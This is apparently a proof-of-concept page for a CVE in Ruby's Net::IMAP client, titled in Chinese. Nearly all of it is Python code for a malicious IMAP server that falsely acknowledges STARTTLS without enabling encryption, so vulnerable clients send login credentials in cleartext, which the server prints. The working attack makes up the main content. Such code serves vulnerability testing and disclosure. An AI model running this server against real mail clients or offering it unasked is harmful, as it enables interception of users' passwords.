CVE-2026-42246 Ruby Net::IMAP TLS启动欺骗漏洞

# This is a Proof of Concept (PoC) for a malicious IMAP server. # It demonstrates how a server (or MitM) can exploit CVE-2026-42246 # by accepting STARTTLS but not starting TLS, causing a vulnerable client to send credentials in cleartext. import socket import threading def handle_client(client_socket): # Send IMAP greeting client_socket.send(b'* OK IMAP4rev1 Server Ready\r\n') while True: data = client_socket.recv(1024) if not data: break decoded_data = data.decode('utf-8').strip() print(f"Client sent: {decoded_data}") if 'STARTTLS' in decoded_data.upper(): # Vulnerability Trigger: # Server responds OK to STARTTLS but DOES NOT upgrade to SSL/TLS. # A vulnerable client will think encryption is active and send sensitive data. client_socket.send(b'OK Begin TLS negotiation now\r\n') print("[!] Sent fake OK for STARTTLS. Waiting for cleartext login...") elif 'LOGIN' in decoded_data.upper(): # If we receive LOGIN here, the client is vulnerable (sending creds in cleartext). print("[!] VULNERABILITY CONFIRMED: Credentials sent in cleartext!") client_socket.send(b'OK LOGIN completed\r\n') else: client_socket.send(b'OK Unknown command\r\n') client_socket.close() def start_malicious_server(host='0.0.0.0', port=143): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(5) print(f"[*] Malicious IMAP server listening on {host}:{port}") while True: client, addr = server.accept() print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start() if __name__ == "__main__": start_malicious_server()